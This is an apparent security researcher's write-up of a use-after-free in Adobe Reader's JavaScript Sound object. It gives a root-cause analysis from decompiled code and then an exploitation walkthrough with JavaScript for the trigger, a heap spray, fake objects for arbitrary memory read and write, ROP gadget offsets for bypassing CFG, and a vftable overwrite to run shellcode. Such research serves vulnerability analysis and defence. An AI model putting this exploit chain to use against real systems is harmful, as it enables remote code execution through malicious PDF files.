Incorrect handling object in memory while executing javascript result in UAF vulnerability.
This analysis is done on adobe reader version 2019.012.20040.
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\EScript.api
eax=5c982fb8 ebx=3aedefc0 ecx=219daff0 edx=07900000 esi=219daff0 edi=4f03cbd8
eip=548beed7 esp=050fe554 ebp=050fe560 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206
EScript!mozilla::HashBytes+0x2e497:
548beed7 8b4004 mov eax,dword ptr [eax+4] ds:002b:5c982fbc=????????
Vulnerability Discovery/Analysis
function gc() {for(var i = 0; i < 3; i++) {var z = new ArrayBuffer(1024*1024*100)}}
this.getSound('sound').toString()
this.getSound('z') //help trigger garbage collector
gc()
this.getSound('sound')
sub_c3140
is invoked everytime we call this.getSound
. sub_c3140
creates a dictionary (std::map) to cache JSObject
so it doesn't have to create a new object everytime this.getSound
is invoked. The name of the sound object is used as key to index into the dictionary. When the object has no reference left sub_C3050
is called to remove the object from the dictionary. The problem is sub_c3140
uses two different string objects for the cache and the JSObject
's private data.
wchar_t *__cdecl z_newSoundObject_C3140(wchar_t *context, T *arg)
{
wchar_t *soundname; // esi MAPDST
void *pddoc; // eax MAPDST
int *v4; // eax
wchar_t **v5; // eax
wchar_t *obj; // eax MAPDST
wchar_t *v8; // esi
_DWORD *v9; // eax
wchar_t *v11; // [esp+14h] [ebp-1Ch]
wchar_t *v12; // [esp+18h] [ebp-18h]
int v13; // [esp+1Ch] [ebp-14h]
int v15; // [esp+2Ch] [ebp-4h]
soundname = z_EStrNewImpl_sub_46E35(arg->objname, 3);
pddoc = arg->pddoc;
v15 = 0;
z_idx_473A4(&v11, &soundname);
LOBYTE(v15) = 1;
v4 = sub_72B6B(&gSound);
sub_97965(v4, &v12, &pddoc);
LOBYTE(v15) = 2;
if ( v11 )
sub_4786E(v11);
v15 = 3;
if ( soundname )
sub_4786E(soundname);
v15 = -1;
v5 = sub_72B6B(&gSound);
if ( v12 != *v5 )
return *(v12 + 6); /* return the cached object instead of creating a new one */
z_ESContextPushTempScope_3C0F0(context);
obj = z_ESObjectCreate_3DD80(context, 0, "Sound", 0);
if ( obj )
{
v8 = z_EStrNewImpl_sub_46E35(arg->objname, 3); /* create a new string object to use as key */
v12 = v8;
v15 = 4;
pddoc = arg->pddoc;
z_idx_473A4(&v11, &v12);
LOBYTE(v15) = 5;
sub_72B6B(&gSound);
sub_C26D8(&v13, &pddoc);
*(v13 + 24) = obj; /* put the object into the cache */
LOBYTE(v15) = 6;
if ( v11 )
sub_4786E(v11);
v15 = 7;
if ( v8 )
sub_4786E(v8);
v15 = -1;
z_ESObjectSetPreciseGetProc_40980(obj, "name", sub_C30F0);
z_ESObjectSetPreciseCallProc_41470(obj, "play", sub_C33C0);
z_ESObjectSetPreciseCallProc_41470(obj, "pause", &sub_C3330);
z_ESObjectSetPreciseCallProc_41470(obj, "stop", &sub_C3450);
z_ESObjectSetPreciseCallProc_41470(obj, "toString", z_Sound_toString_C34E0);
z_ESObjectSetPreciseCallProc_41470(obj, "valueOf", z_Sound_toString_C34E0);
z_ESContextPopTempScope_3D300(context);
v9 = z_EStrNewImpl_sub_46E35(arg->objname, 3);
z_ESObjectSetPrivateData_445C0(obj, "Sound", v9); /* create a different string to use as sound name */
sub_64000(obj, arg->pddoc);
z_ESObjectSetDestructProc_44830(obj, z_SoundOjbect_destruct_C3050);
z_ESClientAddESObject_43500(context, obj, "Sound");
z_ESContextRemoveRoot_74F00(context, obj);
}
return obj;
}
sub_C3050
frees and removes JSObject from cache based on the name string saved in its privated data.
signed int __cdecl z_SoundOjbect_destruct_C3050(int obj)
{
wchar_t *soudname; // edi
unsigned int v2; // ebx MAPDST
signed int result; // eax
wchar_t *v4; // esi MAPDST
_DWORD *v5; // eax
wchar_t *v7; // [esp+14h] [ebp-14h]
int v9; // [esp+24h] [ebp-4h]
soudname = z_ESObjectGetPrivateData_46700(obj, "Sound"); /* remove JSObject from cache base on its private data */
v2 = z_sub_5B1C0(obj);
result = 1;
if ( soudname )
{
v4 = sub_473C8(soudname);
v9 = 0;
z_idx_473A4(&v7, &v4);
LOBYTE(v9) = 1;
v5 = sub_72B6B(&gSound);
sub_97928(v5, &v2);
LOBYTE(v9) = 2;
if ( v7 )
sub_4786E(v7);
v9 = 3;
if ( v4 )
sub_4786E(v4);
v9 = -1;
sub_4786E(soudname);
result = 1;
}
return result;
}
When toString
is called. JSObject
's private data is converted into multibytes string.
int __cdecl z_Sound_toString_C34E0(int a1, int a2, int a3, int a4)
{
int v5; // ebx
wchar_t *v6; // esi
wchar_t *v7; // edi
void *v8; // eax
void *v9; // eax
int v10; // eax
if ( z_ESObjectGetPrivateData_46700(a1, "Dead") )
return z_ESThrowExceptionExVoid_AE7F0(a1, a2, a3, 13, 0);
v5 = z_ESObjectGetPrivateData_46700(a1, "Sound"); /* get soundname */
v6 = z_EStrNewImpl_sub_46E35("[object Sound=\"", 1);
v7 = z_EStrNewImpl_sub_46E35("\"]", 1);
z_EStrSetEncoding_5A4F0(v6, &NewSize); /* soundname is converted into multibytes tring */
z_EStrSetEncoding_5A4F0(v5, &NewSize);
z_EStrSetEncoding_5A4F0(v7, &NewSize);
v8 = sub_496F0(v5);
sub_4BB50(v6, v8);
v9 = sub_496F0(v7);
sub_4BB50(v6, v9);
v10 = sub_496F0(v6);
z_ESValSetString_3F000(a4, v10);
if ( v7 )
sub_4786E(v7);
if ( v6 )
sub_4786E(v6);
return 1;
}
The string object in private data and in the dictionary no longer matches after toString
is called. This left a stale pointer in the dictionary leads to UAF.
Exploitation
Heap spray is used to reliably put attacker's controlled data at 0x20000058
but this bug can also be exploited without a heapspray.
/* heap spray */
SPRAY_SIZE = 0x2000
SPRAY = Array(SPRAY_SIZE)
GUESS = 0x20000058 //0x20d00058
for(var i=0; i<SPRAY_SIZE; i++) SPRAY[i] = new ArrayBuffer(0x10000-24)
Through heap shaping I convert this bug in to an UAF of Array object so that I can fake the f.currentValueIndices
'selements
buffer - f.currentValueIndices
creates a new array object everytime it is accessed.
//...snip...
for(var j=0; j<THRESHOLD_SZ; j++) f.currentValueIndices //everytime currentValueIndices a new Array object is created
try {
if (this.getSound(i)[0] == 0) { //check if the sound object is replaced with an array object successfully
RECLAIMS[i] = this.getSound(i)
new Uint32Array(64)
is used to allocated back into freed elements
buffer so that I can fake arbitrary object.
//...snip...
for(var i=0; i<FREE_110_SZ; i++) { //one of these Uint32Array will be our fake elements buffer
FREES_110[i] = new Uint32Array(64)
FREES_110[i][0] = 0x33441122
FREES_110[i][1] = 0xffffff81 //spidermonkey tag for UINT32
}
Fake a string object for arbitrary read.
/* spray fake strings */
//...snip...
var dv = new DataView(SPRAY[i])
dv.setUint32(0, 0x102, true) //string header
dv.setUint32(4, GUESS+12, true) //string buffer, point here to leak back idx 0x20000064
dv.setUint32(8, 0x1f, true) //string length
dv.setUint32(12, i, true) //index into SPRAY that is at 0x20000058
delete dv
//...snip...
/////////////////////////////////
//app.alert("Create fake string done")
/* point one of our element to fake string */
FAKE_ELES[4] = GUESS
FAKE_ELES[5] = 0xffffff85 //string tag
// /////////////////////////////////
Fake an Uint32Array for arbitrary write.
for(var i=0; i<32; i++) {DV.setUint32(i*4+16, myread(WRITE_ARRAY_ADDR+i*4), true)} //copy WRITE_ARRAY
FAKE_ELES[6] = GUESS+0x10
FAKE_ELES[7] = 0xffffff87 //array tag
function mywrite(addr, val) {
DV.setUint32(96, addr, true)
T[3][0] = val
}
Bypass CFG
I noticed that icucnv58.dll
doesn't have CFG
enable so I leak its base address. All ROP gadget
is taken from there.
ACROFORM_BASE = vftable-0x07A55BC
console.println('ACROFORM_BASE: ' + ACROFORM_BASE.toString(16))
assert(ACROFORM_BASE>0)
r = myread(ACROFORM_BASE+0xBF2E2C)
//a86f5089230164fb6359374e70fe1739
ICU_BASE = myread(r+16)
console.println('ICU_BASE: ' + ICU_BASE.toString(16))
assert(ICU_BASE>0)
/////////////////////////////////
g1 = ICU_BASE + 0x919d4 + 0x1000//mov esp, ebx ; pop ebx ; ret
g2 = ICU_BASE + 0x73e44 + 0x1000//in al, 0 ; add byte ptr [eax], al ; add esp, 0x10 ; ret
g3 = ICU_BASE + 0x37e50 + 0x1000//pop esp;ret
Finally overwrite a CTextField
's vftable to do ROP and execute shellcode.